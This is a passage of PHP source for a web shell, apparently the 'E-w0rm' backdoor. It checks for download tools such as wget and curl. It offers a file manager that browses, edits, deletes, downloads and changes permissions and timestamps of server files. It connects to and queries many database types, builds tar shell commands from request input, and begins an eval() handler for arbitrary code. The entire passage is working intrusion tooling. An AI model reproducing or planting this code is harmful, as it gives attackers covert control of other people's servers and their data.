			if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("javac -version"));
			break;			
		case "wget":
			$s_cek = strtolower(exe("wget --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("wget --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lwpdownload":
			$s_cek = strtolower(exe("lwp-download --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lwp-download --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lynx":
			$s_cek = strtolower(exe("lynx --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lynx -version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "curl":
			$s_cek = strtolower(exe("curl --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("curl --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		default:
			return false;
	}
	if(!empty($ver)) $s_s = $ver;
	return $s_s;
}
// explorer, return a table of given dir
function showdir($s_cwd){
	global $s_self, $s_win, $s_posix, $s_tar;

	$s_fname = $s_dname = array();
	$s_total_file = $s_total_dir = 0;

	if($s_dh = @opendir($s_cwd)){
		while($s_file = @readdir($s_dh)){
			if(@is_dir($s_file)) $s_dname[] = $s_file;
			elseif(@is_file($s_file))$s_fname[] = $s_file;
		}
		closedir($s_dh);
	}

	natcasesort($s_fname);
	natcasesort($s_dname);
	$s_list = array_merge($s_dname,$s_fname);

	if($s_win){
		//check if this root directory
		chdir("..");
		if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
		chdir($s_cwd);
	}

	$s_path = explode(DS,$s_cwd);
	$s_tree = sizeof($s_path);

	$s_parent = "";
	if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
	else $s_parent = $s_cwd;

	$s_owner_html = (!$s_win && $s_posix)? "<th style='width:140px;min-width:140px;'>owner:group</th>":"";
	$s_colspan = (!$s_win && $s_posix)? "5" : "4";
	$s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>".$s_owner_html."<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";

	
	foreach($s_list as $s_l){
		if(!$s_win && $s_posix){
			$s_name = posix_getpwuid(fileowner($s_l));
			$s_group = posix_getgrgid(filegroup($s_l));
			$s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
			$s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
		}

		$s_lhref = $s_lname = $s_laction = "";
		if(@is_dir($s_l)){
			if($s_l=="."){
				$s_lhref = $s_self."cd=".pl($s_cwd);
				$s_lsize = "LINK";
				$s_laction = "<span id='titik1'><a href='".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
			}
			elseif($s_l==".."){
				$s_lhref = $s_self."cd=".pl($s_parent);
				$s_lsize = "LINK";
				$s_laction = "<span id='titik2'><a href='".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."'>find</a> | <a href='".$s_self."cd=".pl($s_parent)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
			}
			else{
				$s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
				$s_lsize = "DIR";
				$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."'>upl</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."'>del</a></span><div id='".cs($s_l)."__form'></div>";
				$s_total_dir++;
			}
			$s_lname = "[ ".$s_l." ]";
			$s_lsizetit = "0";
			$s_lnametit = "dir : ".$s_l;
		}
		else{
			$s_lhref = $s_self."view=".pl($s_cwd.$s_l);
			$s_lname = $s_l;
			$s_lsize = gs($s_l);
			$s_lsizetit = @filesize($s_l);
			$s_lnametit = "file : ".$s_l;
			$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."edit=".pl($s_cwd.$s_l)."'>edit</a> | <a href='".$s_self."hexedit=".pl($s_cwd.$s_l)."'>hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."del=".pl($s_cwd.$s_l)."'>del</a> | <a href='".$s_self."dl=".pl($s_cwd.$s_l)."'>dl</a></span><div id='".cs($s_l)."__form'></div>";
			$s_total_file++;
		}

		$s_cboxval = $s_cwd.$s_l;
		if($s_l=='.') $s_cboxval = $s_cwd;
		if($s_l=='..') $s_cboxval = $s_parent;

		$s_cboxes_id = substr(md5($s_lhref),0,8);
		$s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".hss($s_cboxval)."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_cboxes_id."' class='css-label'></label>";

		$s_ltime = filemtime($s_l);
		$s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td><td class='xpl' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"><a href='".$s_lhref."'>".$s_lname."</a></td><td title='".$s_lsizetit."'>".$s_lsize."</td>".$s_owner_html."<td class='ce'>".gp($s_l)."</td><td class='ce' title='".$s_ltime."'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>";
	}
	$s_buff .= "</tbody>";

	$s_extract = ""; $s_compress = "";
	if(class_exists("ZipArchive")){
		$s_extract .= "<option value='extractzip'>extract (zip)</option>";
		$s_compress .= "<option value='compresszip'>compress (zip)</option>";
	}
	if($s_tar){
		$s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
		$s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
	}

	$s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;

	$s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='".$s_self."' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>".$s_extcom."</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td></tr></tfoot></table>";

	return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
	if($s_sqltype == 'mysql'){ 
		if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
		elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); 
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_connect')){
			$s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
			return @sqlsrv_connect($s_sqlhost,$s_coninfo);
		}
		elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
	}
	elseif($s_sqltype == 'pgsql'){
		$s_hosts = explode(":", $s_sqlhost);
		if(count($s_hosts)==2){
			$s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
		}
		else $s_host_str = "host=".$s_sqlhost;
		if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
	}
	elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
	elseif($s_sqltype == 'sqlite3'){
		if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
		else return false;
	}
	elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
	elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
	elseif($s_sqltype == 'pdo'){
		if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
		else return false;
	}
	return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli')) return $s_con->query($s_query);
		elseif(function_exists('mysql_query')) return mysql_query($s_query);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
		elseif(function_exists('mssql_query')) return mssql_query($s_query);
	}
	elseif($s_sqltype == 'pgsql') return pg_query($s_query);
	elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
	elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
	elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
	elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
	elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
}
function sql_num_rows($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->mysqli_num_rows;
		elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
		elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
	elseif($s_sqltype == 'sqlite3'){
		$s_metadata = $s_hasil->fetchArray();
		if(is_array($s_metadata)) return $s_metadata['count'];
	}
	elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
}
function sql_num_fields($s_sqltype, $s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->field_count;
		elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
		elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
	elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) { $z=$s_hasil->fetch_field();return $z->name;}
		elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_field_metadata')){
			$s_metadata = sqlsrv_field_metadata($s_hasil);
			if(is_array($s_metadata)){
				$s_metadata=$s_metadata[$s_i];
			}
			if(is_array($s_metadata)) return $s_metadata['Name'];
		}
		elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
	}
	elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
	elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'pdo'){
		$s_res = $s_hasil->getColumnMeta($s_i);
		return $s_res['name'];
	}
}
function sql_fetch_data($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->fetch_row();
		elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
		elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
	elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
	elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
}
function sql_close($s_sqltype,$s_con){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli')) return $s_con->close();
		elseif(function_exists('mysql_close')) return mysql_close($s_con);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
		elseif(function_exists('mssql_close')) return mssql_close($s_con);
	}
	elseif($s_sqltype == 'pgsql') return pg_close($s_con);
	elseif($s_sqltype == 'oracle') return oci_close($s_con);
	elseif($s_sqltype == 'sqlite3') return $s_con->close();
	elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
	elseif($s_sqltype == 'odbc') return odbc_close($s_con);
	elseif($s_sqltype == 'pdo') return $s_con = null;
}
if(!function_exists('str_split')){
	function str_split($s_t,$s_s=1){
		$s_a = array();
		for($s_i = 0; $s_i<strlen($s_t);){
			$s_a[] = substr($s_t,$s_i,$s_s);
			$s_i += $s_s;
		}
		return $s_a;
	}
}

// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if(isset($_GP['x']) && ($_GP['x']=='switch')){
	if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
	if($s_theme=="bright") $s_theme = "dark";
	else $s_theme = "bright";
	setcookie("theme", $s_theme ,time() + $s_login_time);
}
$s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");

global $s_self, $s_win, $s_posix;

$s_self = "?";
$s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
$s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));

if(isset($_COOKIE['E-w0rm_included'])){
	if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
	else{
		$s_self = "?";
		setcookie("E-w0rm_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}
else{
	if(strcmp($s_cek1,$s_cek2)!=0){
		if(!isset($_COOKIE['s_home'])){
			$s_home = "?".$_SERVER["QUERY_STRING"]."&";
			setcookie("s_home", $s_home ,time() + $s_login_time);
		}
		if(isset($s_home)) $s_self = $s_home;
		elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
		setcookie("E-w0rm_included", "1" ,time() + $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
	else{
		$s_self = "?";
		setcookie("E-w0rm_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}
$s_cwd = "";

if(isset($_GP['|'])) showcode($s_css);
elseif(isset($_GP['!'])) showcode($s_js);

if($s_auth){
	// server software
	$s_software = getenv("SERVER_SOFTWARE");
	// uname -a
	$s_system = php_uname();
	// check os
	$s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
	// check for posix
	$s_posix = (function_exists("posix_getpwuid"))? true : false;
	// change working directory
	if(isset($_GP['cd'])){
		$s_dd = $_GP['cd'];
		if(@is_dir($s_dd)){
			$s_cwd = cp($s_dd);
			chdir($s_cwd);
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
		}
		else $s_cwd = isset($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(getcwd());;
	}
	else{
		if(isset($_COOKIE['cwd'])){
			$s_dd = ss($_COOKIE['cwd']);
			if(@is_dir($s_dd)){
				$s_cwd = cp($s_dd);
				chdir($s_cwd);
			}
		}
		else $s_cwd = cp(getcwd());
	}

	if(!$s_win && $s_posix){
		$s_userarr = posix_getpwuid(posix_geteuid());
		if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
		else $s_user = "$";
	}
	else {
		$s_user = get_current_user();
	}

	// prompt style
	$s_prompt = $s_user." &gt;";
	// Server Ip
	$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
	// Your Ip ;-)
	$s_my_ip = $_SERVER['REMOTE_ADDR'];
	$s_result = "";

	global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
	foreach($s_access as $s){
		if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
		else{
			if(!isset($_COOKIE['E-w0rm'])){
				$t = explode("_", $s);
				$t = check_access($t[1]);
				if($t!==false){
					$$s = $t;
					setcookie($s, $$s ,time() + $s_login_time);
				}
			}
		}
	}

	// download file specified by ?dl=<file>
	if(isset($_GP['dl']) && ($_GP['dl'] != "")){
		ob_end_clean();
		$f = $_GP['dl'];
		$fc = fgc($f);
		header("Content-type: application/octet-stream");
		header("Content-length: ".strlen($fc));
		header("Content-disposition: attachment; filename=\"".basename($f)."\";");
		echo $fc;
		die();
	}
	// massact
	if(isset($_GP['z'])){
		$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
		$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
		$s_lists = explode("|", $s_buffer);

		$s_counter = 0;
		if(!empty($s_buffer)){
			if($_GP['z']=='moveok'){
				foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items moved");
				else $s_result .= notif("No items moved");
			}
			elseif($_GP['z']=='copyok'){
				foreach($s_lists as $s_l){
					if(@is_dir($s_l)){
						copys($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
					elseif(@is_file($s_l)){
						copy($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items copied");
				else $s_result .= notif("No items copied");
			}
			elseif($_GP['z']=='delok'){
				foreach($s_lists as $s_l){
					if(@is_file($s_l)){
						if(unlink($s_l)) $s_counter++;
					}
					elseif(@is_dir($s_l)){
						rmdirs($s_l);
						if(!file_exists($s_l)) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items deleted");
				else $s_result .= notif("No items deleted");
			}
			elseif(isset($_GP['chmodok'])){
				$s_mod = octdec($_GP['chmodok']);
				foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['touchok'])){
				$s_datenew = strtotime($_GP['touchok']);
				foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['compresszipok'])){
				$s_file = $_GP['compresszipok'];
				if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstarok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstarok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstargzok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstargzok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['extractzipok'])){
				$s_file = $_GP['extractzipok'];
				$zip = new ZipArchive();
				foreach($s_lists as $f){
					$s_target = $s_file.basename($f,".zip");
					if($zip->open($f)){
						if(!@is_dir($s_target)) @mkdir($s_target);
						if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
						else $s_result .= notif("Error extrating archive file");
						$zip->close();
					}
					else $s_result .= notif("Error opening archive file");
				}
			}
			elseif(isset($_GP['extracttarok'])){
				$s_file = $_GP['extracttarok'];
				foreach($s_lists as $f){
					$s_target = "";
					$s_target = basename($f,".tar");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
			elseif(isset($_GP['extracttargzok'])){
				$s_file = $_GP['extracttargzok'];
				foreach($s_lists as $f){
					$s_target = "";
					if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
					elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
		}
		setcookie("buffer", "" ,time() - $s_login_time);
		setcookie("massact", "" ,time() - $s_login_time);
	}
	if(isset($_GP['y'])){
		$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
		$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
		$s_lists = explode("|", $s_buffer);

		if(!empty($s_buffer)){
			if($_GP['y']=='delete'){
				$s_result .= notif("Delete ? <a href='".$s_self."z=delok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='cut'){
				$s_result .= notif("Move here ? <a href='".$s_self."z=moveok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='copy'){
				$s_result .= notif("Copy here ? <a href='".$s_self."z=copyok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='chmod'){
				$s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='touch'){
				$s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extractzip'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttar'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttargz'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresszip'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstar'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstargz'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
		}
	}

	// view image specified by ?img=<file>
	if(isset($_GP['img'])){
		ob_end_clean();
		$s_d = isset($_GP['d'])? $_GP['d']:"";
		$s_f = $_GP['img'];
		$s_inf = @getimagesize($s_d.$s_f);
		$s_ext = explode($s_f, ".");
		$s_ext = $s_ext[count($s_ext)-1];
	 	header("Content-type: ".$s_inf["mime"]);
	 	header("Cache-control: public");
		header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
		header("Cache-control: max-age=".(60*60*24*7));#
	 	readfile($s_d.$s_f);
	 	die();
	} // rename file or folder
	elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
		$s_old = $_GP['oldname'];
		$s_new = $_GP['rename'];

		$s_renmsg = "";
		if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
		elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
		else $s_renmsg = "Cannot find the path specified ".$s_old;

		$s_result .= notif($s_renmsg);
		$s_fnew = $s_new;
	} // confirm delete
	elseif(!empty($_GP['del'])){
		$s_del = trim($_GP['del']);
		$s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".pl($s_del)."'>Yes</a> | <a href='".$s_self."'>No</a>");
	} // delete file
	elseif(!empty($_GP['delete'])){
		$s_f = $_GP['delete'];
		$s_delmsg = "";

		if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
		elseif(@is_dir($s_f)){
			rmdirs($s_f);
			$s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
		}
		else $s_delmsg = "Cannot find the path specified ".$s_f;
		$s_result .= notif($s_delmsg);
	} // create dir
	elseif(!empty($_GP['mkdir'])){
		$s_f = $s_cwd.$_GP['mkdir'];
		$s_dirmsg = "";

		$s_num = 1;
		if(@is_dir($s_f)){
			$s_pos = strrpos($s_f,"_");
			if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
			while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
				$s_num++;
			}
			$s_f = substr($s_f, 0, $s_pos)."_".$s_num;
		}
		if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
		else $s_dirmsg = "Unable to create directory ".$s_f;

		$s_result .= notif($s_dirmsg);
	} // php eval() function
	if(isset($_GP['x']) && ($_GP['x']=='eval')){
		$s_code = "";
		$s_res = "";
		$s_evaloption = "";
		$s_lang = "php";

		if(isset($_GP['evalcode'])){
			$s_code = $_GP['evalcode'];
			$s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
